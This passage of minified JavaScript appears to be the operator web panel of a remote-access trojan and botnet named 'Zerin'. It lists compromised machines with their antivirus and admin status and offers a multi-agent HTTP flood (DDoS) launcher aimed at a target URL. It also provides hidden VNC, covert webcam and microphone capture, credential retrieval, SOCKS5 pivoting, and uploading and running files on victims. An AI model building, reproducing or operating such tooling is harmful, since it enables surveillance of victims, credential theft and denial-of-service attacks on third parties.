Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>Ce(_,{command:"ddos_stop"})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z),g(!1);const O=z.filter(_=>_.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:hU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:xU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const h2={alive:0,stale:1,dead:2};function vU(e,t,n){let r=0;switch(n.column){case"status":r=(h2[e.status]??3)-(h2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=jo(e.os).localeCompare(jo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const gU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function yU(){const e=rr(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[O,_]=p.useState("Zerin"),[T,P]=p.useState(""),[R,V]=p.useState(new Set),[$,L]=p.useState(!1),[W,B]=p.useState(!1),[U,F]=p.useState(""),[H,G]=p.useState(""),[re,oe]=p.useState(!1),[he,pe]=p.useState(null),Y=p.useRef(null),ee=p.useRef(null),C=p.useRef(null),E=p.useCallback(async()=>{try{const A=await e5();n(A),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{E()},[E]);const{lastMessage:X}=p.useContext(id);p.useEffect(()=>{if(X&&X.type==="agent_update"){const A=X.payload;n(se=>{const te=se.findIndex(de=>de.id===A.id);if(te>=0){const de=[...se];return de[te]=A,de}return[A,...se]}),b(se=>se&&se.id===A.id?A:se)}},[X]),p.useEffect(()=>{const A=setInterval(E,15e3);return()=>clearInterval(A)},[E]),p.useEffect(()=>()=>{Y.current&&clearTimeout(Y.current)},[]);const I={total:t.length,alive:t.filter(A=>A.status==="alive").length,stale:t.filter(A=>A.status==="stale").length,dead:t.filter(A=>A.status==="dead").length},ne=f==="online"?t.filter(A=>A.status==="alive"||A.status==="stale"):t.filter(A=>A.status==="dead"),ve=[...l==="all"?ne:ne.filter(A=>A.status===l)].sort((A,se)=>vU(A,se,u)),Ee=t.filter(A=>A.status==="alive"||A.status==="stale").length,D=t.filter(A=>A.status==="dead").length;function ce(A){d(se=>({column:A,direction:se.column===A&&se.direction==="asc"?"desc":"asc"}))}function K(A){c(se=>se===A&&A!=="all"?"all":A)}function J(A){if(Y.current){clearTimeout(Y.current),Y.current=null,e(`/agents/${A.id}`);return}Y.current=setTimeout(()=>{Y.current=null,b(A)},250)}function le(A,se){A.preventDefault(),y(se),x({x:A.clientX,y:A.clientY,visible:!0})}function q(A,se){var Dr;if(!g)return;const te=g.id,de=g.hostname,ge=se==null?void 0:se.action,Ne=se==null?void 0:se.tab;if(x(Se=>({...Se,visible:!1})),y(null),ge==="chat"){j(g);return}if(ge==="confirm"){S({command:A,agentId:te,hostname:de});return}if(ge==="msgbox"){z({agentId:te,hostname:de}),_("Zerin"),P("");return}if(ge==="vnc"){mx(te).then(()=>{const Se=et(),We=window.open(`/vnc/${te}`,`vnc-${te}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start VNC"));return}if(ge==="hvnc"){n5(te).then(()=>{const Se=et(),We=window.open(`/vnc/${te}?mode=hvnc`,`hvnc-${te}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start hVNC"));return}if(ge==="webcam"){r5(te).then(()=>{const Se=et(),We=window.open(`/webcam/${te}`,`webcam-${te}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start webcam"));return}if(ge==="mic"){i5(te).then(()=>{const Se=et(),We=window.open(`/mic/${te}`,`mic-${te}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start microphone"));return}if(ge==="socks5"){a5(te).then(Se=>{alert(`SOCKS5 proxy started on ${Se.bind}:${Se.port} + +Use: ssh -L ${Se.port}:127.0.0.1:${Se.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ge==="execute_upload"){C.current=te,(Dr=ee.current)==null||Dr.click();return}if(ge==="ban"){const Se=t.find(dt=>dt.id===te),We=Se==null?void 0:Se.banned,At=We?`Unban agent ${de} (${te.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${de} (${te.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(At))return;(We?EE:PE)(te).then(()=>{n(dt=>dt.map(xs=>xs.id===te?{...xs,banned:!We}:xs))}).catch(()=>o(`Failed to ${We?"unban":"ban"} agent`));return}if(ge==="remove"){if(!confirm(`Remove agent ${de} (${te.slice(0,8)})? This cannot be undone.`))return;t5(te).then(()=>{n(Se=>Se.filter(We=>We.id!==te))}).catch(()=>o("Failed to remove agent"));return}(ge==="submit"||ge==="screenshot")&&A!=="creds"&&Ce(te,{command:A}).catch(Se=>{o(`Failed to submit task: ${Se instanceof Error?Se.message:"unknown error"}`)}),Ne&&e(`/agents/${te}?tab=${Ne}${A==="creds"?"&auto=1":""}`)}function Q(){x(A=>({...A,visible:!1})),y(null)}async function ue(A){var Ne,Dr,Se;const se=(Ne=A.target.files)==null?void 0:Ne[0];if(A.target.value="",!se||!C.current)return;const te=C.current;C.current=null;const de=se.name,ge=`C:\\Windows\\Temp\\${de}`;try{const We=await se.arrayBuffer(),At=Array.from(new Uint8Array(We)),{task_id:Rt}=await Ce(te,{command:"upload",args:[ge],data:At});let dt=!1;for(let vs=0;vs<30;vs++){await new Promise(wi=>setTimeout(wi,2e3));const bi=(Dr=(await Rn(te)).results)==null?void 0:Dr.find(wi=>wi.task_id===Rt);if(bi){if(bi.error)throw new Error(bi.error);dt=!0;break}}if(!dt)throw new Error("Upload timed out");const{task_id:xs}=await Ce(te,{command:"execute",args:[ge]});for(let vs=0;vs<30;vs++){await new Promise(wi=>setTimeout(wi,2e3));const bi=(Se=(await Rn(te)).results)==null?void 0:Se.find(wi=>wi.task_id===xs);if(bi){if(bi.error)throw new Error(bi.error);alert(`Executed ${de} on agent`);return}}alert(`File uploaded & execute command sent (${de})`)}catch(We){o(`Execute file failed: ${We instanceof Error?We.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:ee,type:"file",className:"hidden",onChange:ue}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Vl,{label:"Total",value:I.total,active:l==="all",onClick:()=>K("all")}),s.jsx(Vl,{label:"Alive",value:I.alive,active:l==="alive",onClick:()=>K("alive")}),s.jsx(Vl,{label:"Stale",value:I.stale,active:l==="stale",onClick:()=>K("stale")}),s.jsx(Vl,{label:"Dead",value:I.dead,active:l==="dead",onClick:()=>K("dead")})]}),s.jsx(pU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ee})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:D})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&D>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${D} dead agent(s)? This cannot be undone.`))return;const A=t.filter(se=>se.status==="dead").map(se=>se.id);try{await CE(A),n(se=>se.filter(te=>te.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:E,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):ve.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:ve.length})," ",f," agent",ve.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:ve.length>0&&ve.filter(A=>A.status!=="dead").every(A=>R.has(A.id)),onChange:A=>{A.target.checked?V(new Set(ve.filter(se=>se.status!=="dead").map(se=>se.id))):V(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),gU.map(A=>s.jsx("th",{onClick:()=>ce(A.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${A.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[A.label,s.jsx(bU,{column:A.key,sort:u})]})},A.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:ve.map(A=>s.jsxs("tr",{onClick:()=>J(A),onContextMenu:se=>le(se,A),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${A.status==="dead"?"opacity-50":""} ${A.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:se=>se.stopPropagation(),children:A.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:R.has(A.id),onChange:se=>{V(te=>{const de=new Set(te);return se.target.checked?de.add(A.id):de.delete(A.id),de})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(nd,{status:A.status,size:"sm",showLabel:!0}),A.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${A.banned?"line-through":""}`,children:A.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[A.username,A.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:jo(A.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:A.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:A.av_product||"Unknown",children:A.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:A.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:A.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:A.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:wo(A.last_seen),children:Bc(A.last_seen)})]},A.id))})]})})})]}),R.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[R.size," agent",R.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>L(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsxs("button",{onClick:()=>B(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),s.jsx("button",{onClick:()=>V(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),$&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>L(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:A=>A.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>L(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(I3,{agentIds:[...R]})]})}),W&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>B(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:A=>A.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),s.jsx("button",{onClick:()=>B(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"p-6 space-y-4",children:[s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",R.size," agent",R.size!==1?"s":""]}),he&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${he.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:he.text}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),s.jsx("input",{type:"text",value:U,onChange:A=>F(A.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),s.jsx("input",{type:"text",value:H,onChange:A=>G(A.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("button",{onClick:async()=>{if(U.trim()){oe(!0),pe(null);try{const A=[U.trim()];H.trim()&&H.trim().split(/\s+/).forEach(ge=>A.push(ge));const te=(await Promise.allSettled([...R].map(ge=>Ce(ge,{command:"execute",args:A})))).filter(ge=>ge.status==="fulfilled").length,de=R.size;pe(te===de?{text:`Sent to ${de} agent${de!==1?"s":""}`,type:"ok"}:{text:`Sent to ${te}/${de} agents (${de-te} failed)`,type:te>0?"ok":"err"})}catch(A){pe({text:A instanceof Error?A.message:"Failed",type:"err"})}finally{oe(!1)}}},disabled:re||!U.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[re?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",R.size>1?` (${R.size})`:""]})]})]})}),s.jsx(YA,{x:h.x,y:h.y,visible:h.visible,onAction:q,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(d5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(XA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent 